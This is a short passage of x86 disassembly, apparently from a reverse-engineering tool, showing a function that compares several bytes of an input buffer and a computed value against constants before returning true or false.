movzx eax, byte [edx + 3]
test eax, eax
jne 0x10042808
mov ecx, dword [ebp + 8]
movzx edx, byte [ecx + 4]
cmp edx, 0x30
jne 0x10042808
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 5]
test ecx, ecx
jne 0x10042808
call fcn.1007e030
xor edx, edx
mov ecx, 0x64
div ecx
cmp eax, 4
jne 0x10042808
mov al, 1
jmp 0x10042825
push 6
push 0x15aa134
mov edx, dword [ebp + 8]
push edx
call fcn.100d362f
add esp, 0xc
test eax, eax
jne 0x10042823
mov al, 1
jmp 0x10042825
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100d2b55
mov esp, ebp
pop ebp
ret